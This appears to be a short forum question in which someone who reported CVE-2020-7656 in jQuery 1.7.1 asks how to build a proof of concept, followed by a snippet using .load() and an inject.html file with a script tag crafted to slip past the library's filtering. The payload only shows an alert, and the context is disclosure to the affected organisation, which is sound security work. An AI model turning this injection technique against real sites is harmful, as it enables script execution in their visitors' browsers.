xss – CVE-2020-7656 needed help for a working POC

I came across a site that was running on Jquery@1.7.1 and also found that it was vulnerable to multiple issues and one was XSS.

I reported this issue and the organization would like to have a working POC but I don’t have an idea how create one. Can anyone help me in this?

    <script>
        $("#mydiv").load('inject.html #himom');
    </script>
</body>
</html>```


**inject.html:**

<div id="himom"><script>alert('Arbitrary Code Execution');</script ></div>
